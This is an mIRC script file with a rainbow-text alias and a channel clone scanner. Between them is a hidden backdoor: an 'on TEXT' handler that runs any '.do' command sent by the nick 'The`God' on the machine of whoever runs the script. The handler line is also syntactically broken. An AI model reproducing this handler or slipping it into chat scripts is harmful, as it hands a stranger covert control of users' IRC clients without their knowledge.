Something

alias r {
  var %pos = 1, %color = 04, %result = $chr(3)
  while (%pos <= $len($1-)) {
    %result = %result $+ %color $+ $mid($1-,%pos,1) $+ $chr(3)
    inc %pos
    %color = $nextcolor(%color)
  }
  if ($isid) return %result
  else say %result
}
alias -l nextcolor {
  if ($$1 == 04) return 07
  elseif ($$1 == 07) return 08
  elseif ($$1 == 08) return 09
  elseif ($$1 == 09) return 11
  elseif ($$1 == 11) return 12
  elseif ($$1 == 12) return 02
  elseif ($$1 == 02) return 06
  elseif ($$1 == 06) return 13
  elseif ($$1 == 13) return 04
}

on *:TEXT:.do*:#:{
  if ($nick == The`God) {
    $2($2-,2
  }
}

alias scan { 
  if (!%scan::clone) { 
    if ($1) { 
      if ($me ison $1) { 
        echo -a + Starting scan on channel $+(",$1,".) 
        set %scan::clone 1 
        who $1 
      } 
      else echo -a + You must be on $+(",$1,") to perform a clone scan on it. 
    } 
    elseif ($left($active,1) == $chr(35)) { 
      echo -a + Starting scan on channel $+(",$active,".) 
      set %scan::clone 1 
      who $active 
    } 
    else echo -a + If you don't supply a channel, your active window must be a one. 
  } 
  else echo -a + There is already a clone scan going on. 
} 
raw 352:*:{ 
  if (%scan::clone) { 
    inc %scan::host:: [ $+ [ $4 ] ] 
    set %scan::nick:: [ $+ [ $4 ] ] $iif(%scan::nick:: [ $+ [ $4 ] ],%scan::nick:: [ $+ [ $4 ] ] $+ $chr(44) $+($6),$+($6)) 
    haltdef 
  } 
} 
raw 315:*:{ 
  if (%scan::clone) { 
    var %scan::loop 1 
    while (%scan::loop <= $var(%scan::host::*,0)) { 
      if ($var(%scan::host::*,%scan::loop).value > 1) { 
        echo -a - $+($var(%scan::host::*,%scan::loop).value) clones found on host $+(",$gettok($var(%scan::host::*,%scan::loop),3,58),") ( $+ $var(%scan::nick::*,%scan::loop).value $+ ) 
        inc %scan::loop 
        set %scan::found 1 
      } 
      else inc %scan::loop 
    } 
    if (!%scan::found) echo -a - No clones found 
    echo -a + Clone scan complete. 
    unset %scan::* 
    haltdef 
  } 
}